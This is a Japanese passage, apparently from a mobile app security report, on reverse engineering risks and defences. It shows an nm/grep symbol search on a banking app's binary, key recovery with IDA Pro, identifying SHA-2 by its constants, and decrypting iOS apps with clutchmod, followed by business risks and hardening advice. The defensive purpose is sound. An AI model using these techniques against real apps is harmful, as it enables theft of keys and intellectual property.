別の例として、独自の暗号化方式を実装するかサード パーティ ライブラリへのリンクを静的に実装することでこのリスクを軽減しようとするアプリケーションがあると仮定する。それを受けて、攻撃者はアプリケーションのシンボル テーブルを調べて、暗号化に関連するメソッド名 (key (キー)、crypto (暗号)、encrypt (暗号化)、sign (署名)、AES、MD5 などの単語を含む) を検索する。
次の実際のバンキング アプリに含まれているシンボルは、AES アルゴリズムと HMAC-SHA1 アルゴリズムが使用されていることを示している。
$nm BankingApp | grep key -i --col
001f7040 t +[AES256Encryption AES256Decrypt:WithKey:]
001f6f0c t +[AES256Encryption AES256Encrypt:WithKey:]
00166adc t +[AFKeychainUtils createKeychainValue:forIdentifier:]
00166930 t +[AFKeychainUtils newSearchDictionary:]
00166b64 t +[AFKeychainUtils searchKeychainMatching:]
00166cd8 t +[AFKeychainUtils setString:forSecureKey:]
00166e18 t +[AFKeychainUtils stringForSecureKey:withDefault:]
00166a34 t +[AFKeychainUtils updateKeychainValue:forIdentifier:]
00166c68 t +[AFKeychainUtils updateOrCreateKeychainValue:forIdentifier:]
00166fa8 t +[AFSHA1 hmacWithData:withKey:]
00201f00 t +[CardIOKeychain dataForKey:]
00201ed8 t +[CardIOKeychain keychainKeyForKey:]
00202054 t +[CardIOKeychain setData:forKey:]
002019a4 t +[CardIOMacros localSettingForKey:defaultValue:productionValue:]
001f8850 t +[CardIOURLConnection basicAuthKey]
001f5234 t +[MDUserConstants_Private getSecretKey:]
001f52d0 t +[MDUserConstants_Private setSecretKey:]
攻撃者は、IDA Pro を使用して、AES256Decrypt メソッドと getSecretKey メソッドを分析する。この分析により、AES256Decrypt メソッドに渡された AES 秘密キーが、プログラムでエンコードされているいくつかの定数文字列の MD5 ハッシュから得られているということがわかる。攻撃者は、このキーは実際には秘密キーではないと突き止めることができる。
最後に、攻撃者は、アプリケーション内で使用されている暗号化アルゴリズムを特定するためのより高度な手法を使用する場合がある。特殊なバイナリ パターンまたは数値定数は、特定の暗号化アルゴリズムが存在することを示す (たとえば、0x6a09e667、0xbb67ae85、0x3c6ef372 などの、SHA-2 アルゴリズムを一意に識別する整数定数)。この手法では、プログラム シンボルや文字列を検索する場合よりも多くの作業が必要になる。
技術的な推奨事項
攻撃者がアプリケーションから暗号化キーを傍受して盗むリスクを軽減するには、以下の実施を検討すること。
- 専用のホワイトボックス暗号化テクノロジを使用して、すべての暗号化操作を処理する。このテクノロジを使用すると、攻撃者がバイナリを分析したりシンボルを調べたりして暗号化アルゴリズムを特定することを阻止できる。また、攻撃者が API を傍受して前述のキーを傍受することも阻止できる。最後に、このツールを使用すると、攻撃者がアプリケーションのメモリ領域内で任意のキーを特定することを常に阻止できる。
- アプリケーションでサード パーティ ライブラリを動的に呼び出す必要がある場合は、このリスクをスウィズルの防止に関連する他のリスクと同様に扱う。該当するセクションのリスク軽減策に従うこと。
- 秘密キーをアプリにハードコードする必要がある場合は、このリスクをバイナリ内に存在する他の機密文字列と同様に扱う。そのリスク カテゴリの推奨事項に従うこと。
アルゴリズムの逆コンパイルと分析
説明
攻撃者は、ミッション クリティカルなソフトウェアを再現しようとするため、そのようなソフトウェア内でエンコードされている独自のアルゴリズムを標的とすることが多い。アルゴリズムが調べられないように保護していないと、このようなアルゴリズムは、IDA Pro や Hopper などの入手しやすいツールを使用して明らかにされる攻撃に対して脆弱になる。この攻撃により、攻撃者はこのアルゴリズムを独自のソフトウェアで複製できるようになる。
さらに高度なシナリオでは、攻撃者は、元の形式のバイナリへのアクセスを制限しようとするコード暗号化のセキュリティ制御をバイパスすることが必要になる場合がある。これは、clutchmod などのツールを使用して簡単に実行できる。ローカルの暗号化解除をバイパスしたら、元のバイナリを分析する本来のタスクに戻ることができる。多くの場合、このようなツールは、元のソース コードによく似た高レベルの擬似コードを再作成するのに非常に有効である。
技術的な説明
商用のソフトウェア アプリケーションには、ビジネスに欠かせない重要な独自のアルゴリズムが組み込まれている。このアルゴリズムが明らかにされると、競合他社によって同じタイプのサービスが再現される可能性がある。したがって、このようなアルゴリズムは企業秘密であり、市場に公開されないようになっている。これを元の形式で展開した場合、攻撃者は非公開のアルゴリズムを見つけて抽出し、競合製品内で悪用することができる。アルゴリズムの本来の所有者がこの攻撃に気付いたときには、もう手遅れとなっている。
Objective-C や Java などの中間言語でエンコードされているアルゴリズムは、特に攻撃を受けやすい。逆コンパイラによって、低レベルのアセンブリ コードを高レベルのソースのような擬似コードに簡単に変えられるようになっている。IDA Pro のプラグインである Hex Rays Decompiler が好例である。攻撃者やセキュリティ研究者によって広く使用されているこのツールは、ほぼすべての ARM コードまたは x86 コードを驚くべき正確さで元の形式に逆コンパイルできる。Hopper という別のツールも普及が広がっている。このツールは Hex Rays よりもはるかに低価格で、非常に効果的である。
技術的な推奨事項
アルゴリズムの盗難リスクを軽減するには、以下のいずれかの実施を検討すること。
- 機密性の高いアルゴリズムを Java や Objective-C などの中間言語でコーディングしないようにする。これらの言語で記述されたアルゴリズムには、大量のメタデータが含まれる。攻撃者は、バイナリにアクセスできるようになると、このメタデータを使用して、元のソース コードを驚くべき正確さで再現できる。
- このようなアルゴリズムを Objective-C や Java で記述しなければならない場合は、アプリケーションに含まれている機密性の高いメソッドに難読化の手法を適用する。難読化は、単なるメソッド名の変更手法と混同されることが多い。難読化の手法は、単なるメソッド名の変更の域をはるかに超えている。機密性の高いコードには、命令ブロックの細断、命令の置換、シンボルの細断、メソッドのインライン化、およびダミー コードの挿入の手法を適用する。
アプリケーションの暗号化解除
説明
i デバイス アプリケーションのリバース エンジニアリングを行うには、攻撃者は関連プロセスにデバッガーをアタッチして、暗号化されていない形式のアプリケーションをディスクにキャプチャする必要がある。これは、アプリケーションのしくみとその変更方法を把握するための重要な第一歩である。
技術的な説明
通常、攻撃者は clutchmod などのツールを使用して、アプリケーションを暗号化解除してディスクに保存する。このツールはアプリケーションを起動し、実行中のアプリケーションにデバッガーをアタッチする。この時点で、iOS はアプリケーションを暗号化解除し、メモリ内で実行している。iOS がアプリケーションを読み込んだら、このツールは暗号化が解除されたメモリ イメージをキャプチャし、暗号化されていない IPA ファイルに再パッケージ化する。
clutchmod は、イメージの LC_ENCRYPTION_INFO.cryptid フィールドを変更し、この値を 0 に設定する。これは、起動時にアプリケーションの暗号化を解除する必要がなくなったことを iOS に対して示している。また、clutchmod はイメージの SC_Info フォルダーを削除する。このフォルダーには、iOS がコード署名を適用するために使用する署名情報が保存されている。
暗号化されていない形式のアプリケーションを収集したら、攻撃者はその後の静的な分析と変更の手順に進む。
技術的な推奨事項
攻撃者がアプリケーションの実行中のプロセスにデバッガーをアタッチするリスクを軽減するには、以下の実施を検討すること。
- アプリケーションの署名が削除されているかどうかを検出できる防御コードをアプリに挿入する。挿入されたコードは、SC_Info フォルダーが存在するかどうかをチェックする。このフォルダーが存在しない場合は、アプリケーションの暗号化が解除されていることがはっきりとわかる。予測できない巧妙な方法でアプリケーションの操作を失敗させて、適切に対処する必要がある。
- デバッガーの存在を検出する追加のコードをアプリケーション内で呼び出す。このコードの呼び出しは、機密性の高いコードが実行される直前、または資産がメモリ内で暗号化解除される直前に行う必要がある。デバッガーの検出に適した手法は数多くある。
ビジネス リスク
今日のビジネス環境では、組織は増え続けるさまざまなビジネス リスクに直面しており、賢明に対処する必要がある。レポートのこのセクションでは、信頼できない環境で機密情報資産を保存、送信、または処理するアプリケーションのために組織が考慮する必要がある主なビジネス リスクについて説明する。次の図において赤で色付けされているリスクについて、このセクションで詳しく説明する。
このセクションは、不正なリバース エンジニアリングやコード変更がビジネスに与える影響の把握に関心のあるビジネス関係者を主に対象としている。
リバース エンジニアリング/コード変更のビジネス リスクを軽減するための 5 つの戦略的な推奨事項
レポートのこのセクションで説明する各ビジネス リスクを軽減するには、以下の実施を検討すること。
- モバイル アプリケーションのセキュリティ リスクとセキュリティ手法は、プログラミングの不備を防ぐ ("安全なものを構築する") 段階を超えて、信頼できない環境におけるハッキング攻撃からの保護を事前に確保する ("安全な状態を維持する") 段階に進む必要があるということを関係者に教える。
- モバイル アプリケーションにおいてリスクにさらされている価値を評価する (ブランド、信頼、IP、収益、データなど)。
- モバイル アプリケーションにおける技術的リスクを評価し、リバース エンジニアリング、コード分析、コード変更および挿入に関する攻撃の標的とバイナリ レベルの攻撃ベクトルを特定する。
- モバイル アプリケーションを "信頼できない環境" にリリース/展開する前に、上記の攻撃から保護するための計画を策定する。
- 自己防御と改ざん対策のメカニズムをアプリケーションに導入できる最善の保護ツールの使用を検討する。
ブランドと信頼に関する損害
説明
多くの企業において、その成功は製品とサービスに対する顧客の信頼が前提となっている。ハッキング、クラッキング、または侵害されたバージョンのモバイル アプリケーションが存在するだけでも、または攻撃で損害を受けたことが公になるだけでも、アプリケーション プロバイダーのブランドや顧客の信頼が損なわれる可能性がある。
関連する技術的リスク
このビジネス リスクを実現するには、攻撃者は、このドキュメントで説明する他のいずれかのビジネス リスクを実現する必要がある。これまで、メディアからは次のビジネス リスクに関連する事件について報告されている傾向がある。
- 知的財産の盗難
- プライバシー関連のデータの盗難
- 収益の損失と著作権侵害
- 不正アクセスと不正行為
ユーザー エクスペリエンスの侵害
説明
多くの場合、攻撃者はアプリケーションのビジネス ロジックを変更して、ユーザーが実行できないはずの操作を実行できるようにする。たとえば、マルチプレイヤー ゲームの世界における典型的な例として、ゲーム プレイヤーの HP を無限にする不正なパッチが挙げられる。このような不正な変更によってユーザー エクスペリエンスは侵害され、同時に組織のブランドも損なわれる。
関連する技術的リスク
このビジネス リスクを実現するには、攻撃者は次のいずれかの技術的リスクを実現する必要がある。
- ジェイルブレイク検出遮断の自動化
- root 化検出の変更
- セキュリティ制御のバイパス
知的財産の盗難
説明
知的財産 (IP) の盗難は、モバイル アプリケーションに含まれている価値の高い独自のソフトウェア IP (固有のアルゴリズムなど) を開発している組織にとって大きな懸念となっている。たとえば、現在の競合他社または競合他社となる見込みのある企業が、自社の目的のためにソース コードを逆コンパイルして分析し、関連する IP を盗む可能性がある。これは、IP 権が事実上適用されていない地域 (中国やさまざまな新興国など) でアプリケーションがアクセス可能になっている場合に特に問題となる。また、攻撃者がサーバーにアクセスしてコードをリバース エンジニアリングが可能な別の場所に移動することができる環境でサーバー コードがホストされている場合、IP の盗難はサーバー側でも発生する可能性がある。
関連する技術的リスク
このビジネス リスクを実現するには、攻撃者は次のいずれかの技術的リスクを実現する必要がある。
- アルゴリズムの分析
- データ シンボルの公開
- メソッド シグネチャの公開
- アプリケーションの暗号化解除
プライバシー関連のデータの盗難
説明
個人を特定できる情報 (PII) を保存、送信、または処理するアプリケーションは、攻撃者による変更のリスクにさらされる。通常、攻撃者はアプリケーションを変更して、このようなプライバシー関連のデータを攻撃者がホストしているサイトに強制的に送信させる。また、攻撃者は被害者のデバイスにスパイウェアをインストールするために、変更したアプリを被害者にダウンロードおよび実行させる場合もある。
関連する技術的リスク
このビジネス リスクを実現するには、攻撃者は次のいずれかの技術的脅威を仕掛ける必要がある。
- 暗号化キーの傍受
- 動作変更のないスウィズル
- 動作変更のあるスウィズル
- プレゼンテーション層の変更
- 再パッケージ化
機密データの盗難
説明
機密情報は、組織の日々の業務に関連する情報と定義される。機密情報が漏洩すると、組織は直接損害を受ける可能性があるが、組織が作り出すサービスまたは製品の消費者には直接影響しない。この種の窃盗は、一般に産業スパイと呼ばれる。
機密情報を保存、送信、または処理するアプリケーションは、複数のタイプの侵害にさらされる可能性がある。攻撃者はアクセスと利用の制御をバイパスし、競合情報にアクセスする可能性がある。あるいは、認証資格情報を傍受して盗んだり、リモート制御/監視を目的としてスパイウェアをインストールするためにアプリケーションを変更したりする可能性もある。
関連する技術的リスク
このビジネス リスクを実現するには、攻撃者は次のいずれかの技術的脅威を仕掛ける必要がある。
- セキュリティ制御のバイパス
- プレゼンテーション層の変更
- 動作変更のあるスウィズル
- 暗号化キーの傍受
収益の損失と著作権侵害
説明
攻撃者がアプリケーション プロバイダーの収益モデルを侵害する方法はいくつかある。有料アプリケーションの無料版を配布したり、自分のブランドでアプリケーションを再公開したり、アプリ内の制限されている機能の購入要件をバイパスしたり、広告削除を実行して広告なしバージョンにしたりできる。多くの調査で、iOS アプリや Android アプリがわずかに変更されて、公式または第三者のアプリ ストアやダウンロード サイトで再販されるという著作権侵害や複製が蔓延していることが示されている。
2012 年には、上位 100 の Apple iOS アプリと上位 100 の Android アプリの 90% 以上がクラックされ、第三者のサイトで公開されていたことが判明した (Arxan の 2012 年の State of Security in the App Economy 調査を参照)。
関連する技術的リスク
このビジネス リスクを実現するには、攻撃者は次のいずれかの技術的リスクを実現する必要がある。
- 再パッケージ化
- セキュリティ制御のバイパス
ビジネス ロジックのバイパス
説明
多くの場合、攻撃者はアプリケーションのビジネス ロジックを変更して、ユーザーが実行できないはずの操作を実行できるようにする。オンライン ゲームの世界における典型的な例として、ゲーム プレイヤーの HP を無限にする不正なパッチが挙げられる。このような不正な変更によってユーザー エクスペリエンスは侵害され、同時に組織のブランドも損なわれる。
関連する技術的リスク
このビジネス リスクを実現するには、攻撃者は次のいずれかの技術的リスクを実現する必要がある。
- ジェイルブレイク検出遮断の自動化
- root 化検出の変更
- セキュリティ制御のバイパス
否認
説明
否認により、ユーザーは特定の取引を行ったことをもっともらしく否定することができる。攻撃者は、認証資格情報またはセッション Cookie を傍受した場合、ユーザーを装って代わりに操作を実行することができる。
関連する技術的リスク
このビジネス リスクを実現するには、攻撃者は次のいずれかの技術的リスクを実現する必要がある。
- プレゼンテーション層の変更
- セキュリティ制御のバイパス
- 動作変更のあるスウィズル
不正アクセスと不正行為
説明
取引を処理するモバイル アプリケーションは、通常、アクセスと利用の制御や資格情報の処理のためのセキュリティ メカニズムを備えている。攻撃者はこのセキュリティ制御をバイパスしたり資格情報を傍受したりする可能性があるため、攻撃者がユーザーを装って代わりに操作を実行する不正な取引が行われる可能性が生じる。
関連する技術的リスク
このビジネス リスクを実現するには、攻撃者は次のいずれかの技術的リスクを実現する必要がある。
- プレゼンテーション層の変更
- セキュリティ制御のバイパス
- 暗号化キーの傍受
- 動作変更のあるスウィズル
課金
説明
攻撃者が課金することを意図して、既存のモバイル アプリケーションにマルウェアを挿入することが頻繁に発生している。被害者のデバイスから割増料金番号に、テキスト メッセージが送信されたり音声通話が発信されたりする場合がある。
関連する技術的リスク
このビジネス リスクを実現するには、攻撃者は次のいずれかの技術的リスクを実現する必要がある。
- 再パッケージ化
特権の昇格
説明
攻撃者は、ローカル バイナリに含まれている管理機能、またはサービスを介してリモートで公開されている管理機能を実行するように、アプリケーションの動作を変更する場合がある。モバイル アプリのマルウェア ペイロードの一般的な目的の 1 つに、デバイスにリモート アクセスできるようにしたりデバイスをボットネットにリンクしたりすることが挙げられる。ユーザーのデバイスがボットネットに参加すると、攻撃者はそのデバイスを、個々人が支払を行うその他の攻撃に参加させる。
関連する技術的リスク
このビジネス リスクを実現するには、攻撃者は次のいずれかの技術的脅威を仕掛ける必要がある。
- セキュリティ制御のバイパス
- プレゼンテーション層の変更
- 暗号化キーの傍受
まとめ
組織は、アプリケーションの整合性に関する脆弱性を軽減するために、次の目的を達成する必要がある。
- 保護: 組織は、分散環境または信頼できない環境に展開するソフトウェアに、整合性に関するセキュリティ制御を適用する必要がある。アプリケーションのリバース エンジニアリング、改ざん、または悪用のリスクを軽減するために、この適用はリリース/展開段階の前に行う必要がある。
- 抑止: 組織は、侵害活動を非常に時間とコストのかかる難しいものにして実現不可能にするほか、リリース間で使い回せないものにする必要がある。
これらの目的を達成するには、以下を実施する必要がある。
- 整合性に関する脅威、リスク、および攻撃ベクトルを特定して、必要な保護を定義する。
- 攻撃に対する防御、検出、対応を行うバイナリ セキュリティ制御を設計し、ソフトウェア コード内に挿入する (多層防御のアプローチを使用)。
アプリケーションを保護し、モバイル プラットフォームにおけるリスクを効果的に軽減するには、まず、アプリケーションにおける整合性に関するリスクと攻撃ベクトルを特定する必要がある。これは、保護戦略の基礎になる。脆弱な資産を特定したら、堅牢なアプリケーション強化手法と改ざん防止手法を使用して保護することが重要である。これらの手法では、リバース エンジニアリング攻撃に対する防御、検出、対応を行うことができる必要がある。この手法には次のようなものがある。
侵害からの防御:
- コードの難読化: プログラム コードとその制御フローを判読不可能な形式に変換することにより、リバース エンジニアリングを防ぐ。
- シンボルの削除: 使用されていないプログラム シンボル (機密情報を攻撃者に漏洩することが多い) をアプリケーション バイナリから削除することにより、リバース エンジニアリングを防ぐ。
- シンボルの名前変更: (アプリケーションから削除できない) わかりやすいプログラム シンボル名を無関係な名前に変更することにより、リバース エンジニアリングを防ぐ。
- 暗号化: ディスクに保存されており、実行時に使用されていないときに、アプリケーションの一部または全体を暗号化する。また、アプリケーション内のデータも暗号化する。
- 文字列の暗号化: クリア テキストの文字列エンコード (機密性の高いテキストベースの SQL クエリや、信頼できるリモート サーバーに送信されるプライベート メッセージなど) を暗号化によって隠すことにより、リバース エンジニアリングを防ぐ。
- 損害: 機密性の高い領域を、使用されていないときはおとりのコードや無意味なコードに置き換えて、使用されているときは元のコードに置き換える。
攻撃の試行の検出:
- アンチデバッグ: デバッガーの使用を検出できる特殊なロジックをアプリケーションに挿入することにより、リバース エンジニアリングを防ぐ。デバッガーが検出されると、挿入されたロジックが適切な対応策を講じることができる。
- チェックサム: コードやデータの改ざんを検出できる特殊なロジックをアプリケーションに挿入することにより、改ざんを防ぐ。改ざんが検出されると、挿入されたロジックが適切な対応策を講じることができる。
- ジェイルブレイク/root 化検出: アプリケーションの実行中にジェイルブレイクまたは root 化を検出する。
- スウィズル: 攻撃者がアプリケーションによるメソッド呼び出しを傍受または置換するのを検出できる特殊なロジックをアプリケーションに挿入することにより、スウィズル攻撃を防ぐ。スウィズルが検出されると、挿入されたロジックが適切な対応策を講じることができる。
攻撃を回避するための警告と対応:
- 自己修復: 重要なコードやデータに加えられた変更を、実行時に元の値を復元することによって消し去ることができる特殊なロジックをアプリケーションに挿入することにより、改ざんを防ぐ。
- 標準的な対応: アプリケーションを終了する、アプリケーションの操作を失敗させる、またはその他のカスタム呼び出し/関数のコールバックを実行する。
- 警告: ローカルまたはリモートのサーバーへの警告を行う ("phone home")。セキュリティ コンソールと統合。
これらの自己防御テクニックを適切に適用すると、モバイル アプリケーションの攻撃に対する耐性が、root 化またはジェイルブレイクされた (侵害された) デバイスにおいても格段に向上する。たとえば、自己チェックサム コードと自己修復コードを挿入すると、自己認識、自己修復、および改ざん対策の機能を備えたアプリを作成できるため、自身の状態が変更されていないかどうかを単独で検出し、可能であれば変更を消去して、その侵入行為に対する是正措置や罰則措置を取ることができるようになる (リモート サーバーへの攻撃の報告、アプリケーションの実行停止など)。
脆弱なアプリケーション コードだけでなく保護メカニズムそのものも保護されるように、これらの防御を多層化して、ネットワーク化された形で実装することが重要である。これは、ハッキング対策としてきわめて有効であることが実証されている、多層防御のアプローチである。
